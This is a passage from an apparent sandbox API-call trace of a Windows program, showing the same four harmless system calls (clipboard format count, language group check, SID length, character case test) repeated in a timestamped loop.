[0244.539] CountClipboardFormats () returned 0 [0244.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.539] IsCharLowerA (ch=39) returned 0 [0244.539] CountClipboardFormats () returned 0 [0244.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.539] IsCharLowerA (ch=40) returned 0 [0244.539] CountClipboardFormats () returned 0 [0244.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.539] IsCharLowerA (ch=41) returned 0 [0244.539] CountClipboardFormats () returned 0 [0244.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.540] IsCharLowerA (ch=42) returned 0 [0244.540] CountClipboardFormats () returned 0 [0244.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.540] IsCharLowerA (ch=43) returned 0 [0244.540] CountClipboardFormats () returned 0 [0244.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.540] IsCharLowerA (ch=44) returned 0 [0244.540] CountClipboardFormats () returned 0 [0244.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.540] IsCharLowerA (ch=45) returned 0 [0244.540] CountClipboardFormats () returned 0 [0244.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.540] IsCharLowerA (ch=46) returned 0 [0244.540] CountClipboardFormats () returned 0 [0244.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.540] IsCharLowerA (ch=47) returned 0 [0244.540] CountClipboardFormats () returned 0 [0244.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.540] IsCharLowerA (ch=48) returned 0 [0244.540] CountClipboardFormats () returned 0 [0244.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.541] IsCharLowerA (ch=49) returned 0 [0244.541] CountClipboardFormats () returned 0 [0244.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.541] IsCharLowerA (ch=50) returned 0 [0244.541] CountClipboardFormats () returned 0 [0244.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.541] IsCharLowerA (ch=51) returned 0 [0244.541] CountClipboardFormats () returned 0 [0244.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.541] IsCharLowerA (ch=52) returned 0 [0244.541] CountClipboardFormats () returned 0 [0244.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.541] IsCharLowerA (ch=53) returned 0 [0244.541] CountClipboardFormats () returned 0 [0244.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.541] IsCharLowerA (ch=54) returned 0 [0244.541] CountClipboardFormats () returned 0 [0244.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.541] IsCharLowerA (ch=55) returned 0 [0244.541] CountClipboardFormats () returned 0 [0244.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.541] IsCharLowerA (ch=56) returned 0 [0244.541] CountClipboardFormats () returned 0 [0244.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.541] IsCharLowerA (ch=57) returned 0 [0244.542] CountClipboardFormats () returned 0 [0244.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.542] IsCharLowerA (ch=58) returned 0 [0244.542] CountClipboardFormats () returned 0 [0244.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.542] IsCharLowerA (ch=59) returned 0 [0244.542] CountClipboardFormats () returned 0 [0244.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.542] IsCharLowerA (ch=60) returned 0 [0244.542] CountClipboardFormats () returned 0 [0244.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.542] IsCharLowerA (ch=61) returned 0 [0244.542] CountClipboardFormats () returned 0 [0244.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.542] IsCharLowerA (ch=62) returned 0 [0244.542] CountClipboardFormats () returned 0 [0244.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.542] IsCharLowerA (ch=63) returned 0 [0244.542] CountClipboardFormats () returned 0 [0244.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.542] IsCharLowerA (ch=32) returned 0 [0244.542] CountClipboardFormats () returned 0 [0244.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.542] IsCharLowerA (ch=1) returned 0 [0244.542] CountClipboardFormats () returned 0 [0244.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.542] IsCharLowerA (ch=2) returned 0 [0244.542] CountClipboardFormats () returned 0 [0244.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.543] IsCharLowerA (ch=3) returned 0 [0244.543] CountClipboardFormats () returned 0 [0244.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.543] IsCharLowerA (ch=4) returned 0 [0244.543] CountClipboardFormats () returned 0 [0244.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.543] IsCharLowerA (ch=5) returned 0 [0244.543] CountClipboardFormats () returned 0 [0244.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.543] IsCharLowerA (ch=6) returned 0 [0244.543] CountClipboardFormats () returned 0 [0244.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.543] IsCharLowerA (ch=7) returned 0 [0244.543] CountClipboardFormats () returned 0 [0244.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.543] IsCharLowerA (ch=8) returned 0 [0244.543] CountClipboardFormats () returned 0 [0244.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.543] IsCharLowerA (ch=9) returned 0 [0244.543] CountClipboardFormats () returned 0 [0244.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.543] IsCharLowerA (ch=10) returned 0 [0244.543] CountClipboardFormats () returned 0 [0244.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.543] IsCharLowerA (ch=11) returned 0 [0244.543] CountClipboardFormats () returned 0 [0244.544] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.544] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.544] IsCharLowerA (ch=12) returned 0 [0244.544] CountClipboardFormats () returned 0 [0244.544] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.544] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.544] IsCharLowerA (ch=13) returned 0 [0244.544] CountClipboardFormats () returned 0 [0244.544] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.544] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.544] IsCharLowerA (ch=14) returned 0 [0244.544] CountClipboardFormats () returned 0 [0244.544] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.544] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.544] IsCharLowerA (ch=15) returned 0 [0244.544] CountClipboardFormats () returned 0 [0244.544] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.544] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.544] IsCharLowerA (ch=16) returned 0 [0244.544] CountClipboardFormats () returned 0 [0244.544] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.545] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.545] IsCharLowerA (ch=17) returned 0 [0244.545] CountClipboardFormats () returned 0 [0244.545] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.545] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.545] IsCharLowerA (ch=18) returned 0 [0244.545] CountClipboardFormats () returned 0 [0244.545] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.545] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.545] IsCharLowerA (ch=19) returned 0 [0244.545] CountClipboardFormats () returned 0 [0244.545] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.546] IsCharLowerA (ch=20) returned 0 [0244.546] CountClipboardFormats () returned 0 [0244.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.546] IsCharLowerA (ch=21) returned 0 [0244.546] CountClipboardFormats () returned 0 [0244.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.546] IsCharLowerA (ch=22) returned 0 [0244.546] CountClipboardFormats () returned 0 [0244.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.546] IsCharLowerA (ch=23) returned 0 [0244.546] CountClipboardFormats () returned 0 [0244.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.546] IsCharLowerA (ch=24) returned 0 [0244.546] CountClipboardFormats () returned 0 [0244.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.546] IsCharLowerA (ch=25) returned 0 [0244.546] CountClipboardFormats () returned 0 [0244.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.546] IsCharLowerA (ch=26) returned 0 [0244.546] CountClipboardFormats () returned 0 [0244.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.546] IsCharLowerA (ch=27) returned 0 [0244.546] CountClipboardFormats () returned 0 [0244.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.546] IsCharLowerA (ch=28) returned 0 [0244.547] CountClipboardFormats () returned 0 [0244.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.547] IsCharLowerA (ch=29) returned 0 [0244.547] CountClipboardFormats () returned 0 [0244.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.547] IsCharLowerA (ch=30) returned 0 [0244.547] CountClipboardFormats () returned 0 [0244.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.547] IsCharLowerA (ch=31) returned 0 [0244.547] CountClipboardFormats () returned 0 [0244.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.547] IsCharLowerA (ch=32) returned 0 [0244.547] CountClipboardFormats () returned 0 [0244.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.547] IsCharLowerA (ch=1) returned 0 [0244.547] CountClipboardFormats () returned 0 [0244.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.547] IsCharLowerA (ch=2) returned 0 [0244.547] CountClipboardFormats () returned 0 [0244.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.547] IsCharLowerA (ch=3) returned 0 [0244.547] CountClipboardFormats () returned 0 [0244.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.547] IsCharLowerA (ch=4) returned 0 [0244.547] CountClipboardFormats () returned 0 [0244.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.547] IsCharLowerA (ch=5) returned 0 [0244.548] CountClipboardFormats () returned 0 [0244.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.548] IsCharLowerA (ch=6) returned 0 [0244.548] CountClipboardFormats () returned 0 [0244.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.548] IsCharLowerA (ch=7) returned 0 [0244.548] CountClipboardFormats () returned 0 [0244.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.548] IsCharLowerA (ch=8) returned 0 [0244.548] CountClipboardFormats () returned 0 [0244.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.548] IsCharLowerA (ch=9) returned 0 [0244.548] CountClipboardFormats () returned 0 [0244.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.548] IsCharLowerA (ch=10) returned 0 [0244.548] CountClipboardFormats () returned 0 [0244.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.548] IsCharLowerA (ch=11) returned 0 [0244.548] CountClipboardFormats () returned 0 [0244.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.548] IsCharLowerA (ch=12) returned 0 [0244.548] CountClipboardFormats () returned 0 [0244.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.548] IsCharLowerA (ch=13) returned 0 [0244.548] CountClipboardFormats () returned 0 [0244.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.549] IsCharLowerA (ch=14) returned 0 [0244.549] CountClipboardFormats () returned 0 [0244.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.549] IsCharLowerA (ch=15) returned 0 [0244.549] CountClipboardFormats () returned 0 [0244.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.549] IsCharLowerA (ch=16) returned 0 [0244.549] CountClipboardFormats () returned 0 [0244.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.549] IsCharLowerA (ch=17) returned 0 [0244.549] CountClipboardFormats () returned 0 [0244.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.549] IsCharLowerA (ch=18) returned 0 [0244.549] CountClipboardFormats () returned 0 [0244.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.549] IsCharLowerA (ch=19) returned 0 [0244.549] CountClipboardFormats () returned 0 [0244.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.549] IsCharLowerA (ch=20) returned 0 [0244.549] CountClipboardFormats () returned 0 [0244.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.549] IsCharLowerA (ch=21) returned 0 [0244.549] CountClipboardFormats () returned 0 [0244.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.549] IsCharLowerA (ch=22) returned 0 [0244.549] CountClipboardFormats () returned 0 [0244.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.550] IsCharLowerA (ch=23) returned 0 [0244.550] CountClipboardFormats () returned 0 [0244.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.550] IsCharLowerA (ch=24) returned 0 [0244.550] CountClipboardFormats () returned 0 [0244.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.550] IsCharLowerA (ch=25) returned 0 [0244.550] CountClipboardFormats () returned 0 [0244.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.550] IsCharLowerA (ch=26) returned 0 [0244.550] CountClipboardFormats () returned 0 [0244.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.550] IsCharLowerA (ch=27) returned 0 [0244.550] CountClipboardFormats () returned 0 [0244.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.550] IsCharLowerA (ch=28) returned 0 [0244.550] CountClipboardFormats () returned 0 [0244.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.550] IsCharLowerA (ch=29) returned 0 [0244.550] CountClipboardFormats () returned 0 [0244.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.550] IsCharLowerA (ch=30) returned 0 [0244.550] CountClipboardFormats () returned 0 [0244.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.550] IsCharLowerA (ch=31) returned 0 [0244.551] CountClipboardFormats () returned 0 [0244.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.551] IsCharLowerA (ch=32) returned 0 [0244.551] CountClipboardFormats () returned 0 [0244.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.551] IsCharLowerA (ch=1) returned 0 [0244.551] CountClipboardFormats () returned 0 [0244.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.551] IsCharLowerA (ch=2) returned 0 [0244.551] CountClipboardFormats () returned 0 [0244.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.551] IsCharLowerA (ch=3) returned 0 [0244.551] CountClipboardFormats () returned 0 [0244.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.551] IsCharLowerA (ch=4) returned 0 [0244.551] CountClipboardFormats () returned 0 [0244.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.551] IsCharLowerA (ch=5) returned 0 [0244.551] CountClipboardFormats () returned 0 [0244.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.551] IsCharLowerA (ch=6) returned 0 [0244.551] CountClipboardFormats () returned 0 [0244.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.551] IsCharLowerA (ch=7) returned 0 [0244.551] CountClipboardFormats () returned 0 [0244.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.552] IsCharLowerA (ch=8) returned 0 [0244.552] CountClipboardFormats () returned 0 [0244.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.552] IsCharLowerA (ch=9) returned 0 [0244.552] CountClipboardFormats () returned 0 [0244.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.552] IsCharLowerA (ch=10) returned 0 [0244.552] CountClipboardFormats () returned 0 [0244.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.552] IsCharLowerA (ch=11) returned 0 [0244.552] CountClipboardFormats () returned 0 [0244.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.552] IsCharLowerA (ch=12) returned 0 [0244.552] CountClipboardFormats () returned 0 [0244.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.552] IsCharLowerA (ch=13) returned 0 [0244.552] CountClipboardFormats () returned 0 [0244.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.552] IsCharLowerA (ch=14) returned 0 [0244.552] CountClipboardFormats () returned 0 [0244.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.553] IsCharLowerA (ch=15) returned 0 [0244.553] CountClipboardFormats () returned 0 [0244.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.553] IsCharLowerA (ch=16) returned 0 [0244.553] CountClipboardFormats () returned 0 [0244.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.553] IsCharLowerA (ch=17) returned 0 [0244.553] CountClipboardFormats () returned 0 [0244.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.553] IsCharLowerA (ch=18) returned 0 [0244.553] CountClipboardFormats () returned 0 [0244.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.553] IsCharLowerA (ch=19) returned 0 [0244.553] CountClipboardFormats () returned 0 [0244.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.553] IsCharLowerA (ch=20) returned 0 [0244.553] CountClipboardFormats () returned 0 [0244.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.553] IsCharLowerA (ch=21) returned 0 [0244.553] CountClipboardFormats () returned 0 [0244.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.553] IsCharLowerA (ch=22) returned 0 [0244.553] CountClipboardFormats () returned 0 [0244.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.553] IsCharLowerA (ch=23) returned 0 [0244.553] CountClipboardFormats () returned 0 [0244.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.554] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.554] IsCharLowerA (ch=24) returned 0 [0244.554] CountClipboardFormats () returned 0 [0244.554] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.554] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.554] IsCharLowerA (ch=25) returned 0 [0244.554] CountClipboardFormats () returned 0 [0244.554] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.554] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.554] IsCharLowerA (ch=26) returned 0 [0244.554] CountClipboardFormats () returned 0 [0244.554] 